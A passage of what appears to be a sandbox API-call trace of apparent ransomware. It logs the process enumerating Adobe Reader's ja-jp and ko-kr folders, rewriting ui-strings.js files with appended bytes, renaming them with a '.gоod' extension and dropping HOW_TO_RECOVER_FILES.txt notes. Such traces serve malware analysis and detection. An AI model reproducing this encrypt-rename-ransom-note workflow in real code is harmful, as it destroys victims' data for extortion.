lpFilePart=0x0) returned 0x69 [0164.490] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0164.490] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.490] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4830, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0164.490] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.490] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0164.490] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0164.490] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0164.490] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0164.491] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp", lpFilePart=0x0) returned 0x69 [0164.491] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0164.491] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.491] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4830, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0164.491] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4830, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0164.491] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0164.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0164.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0164.491] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0164.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0164.492] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x337eb40 | out: lpFileInformation=0x337eb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4830)) returned 1 [0164.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0164.492] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0164.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0164.492] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0164.493] GetFileType (hFile=0x640) returned 0x1 [0164.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0164.493] GetFileType (hFile=0x640) returned 0x1 [0164.493] SetFilePointer (in: hFile=0x640, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0164.493] ReadFile (in: hFile=0x640, lpBuffer=0x337f018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x337f018*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0164.495] CloseHandle (hObject=0x640) returned 1 [0164.495] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0164.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0164.495] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0164.495] GetFileType (hFile=0x640) returned 0x1 [0164.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0164.495] GetFileType (hFile=0x640) returned 0x1 [0164.495] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x4830 [0164.495] WriteFile (in: hFile=0x640, lpBuffer=0x3381090*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x3381090*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0164.496] CloseHandle (hObject=0x640) returned 1 [0164.496] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0164.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0164.496] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0164.497] GetFileType (hFile=0x640) returned 0x1 [0164.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0164.497] GetFileType (hFile=0x640) returned 0x1 [0164.497] ReadFile (in: hFile=0x640, lpBuffer=0x33855b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x33855b0*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0164.802] CloseHandle (hObject=0x640) returned 1 [0164.802] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0164.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0164.802] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0164.802] GetFileType (hFile=0x640) returned 0x1 [0164.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0164.803] GetFileType (hFile=0x640) returned 0x1 [0164.803] WriteFile (in: hFile=0x640, lpBuffer=0x33635d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x33635d0*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0164.803] CloseHandle (hObject=0x640) returned 1 [0164.803] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0164.803] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0164.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0164.803] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5e708d6f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4840)) returned 1 [0164.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0164.803] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ja-jp\\ui-strings.js.gоod")) returned 1 [0164.807] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0164.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0164.808] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ja-jp\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ja-jp\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0165.055] GetFileType (hFile=0x644) returned 0x1 [0165.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0165.055] GetFileType (hFile=0x644) returned 0x1 [0165.055] WriteFile (in: hFile=0x644, lpBuffer=0x35019d8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x35019d8*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0165.056] CloseHandle (hObject=0x644) returned 1 [0165.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0165.057] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr", lpFilePart=0x0) returned 0x69 [0165.057] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0165.057] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.058] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0165.058] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0165.058] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0165.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0165.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0165.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0165.058] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr", lpFilePart=0x0) returned 0x69 [0165.058] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0165.058] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.059] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0165.059] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0165.059] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0165.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0165.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0165.059] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0165.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0165.059] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x35115e0 | out: lpFileInformation=0x35115e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3fcc)) returned 1 [0165.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0165.059] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0165.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0165.059] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 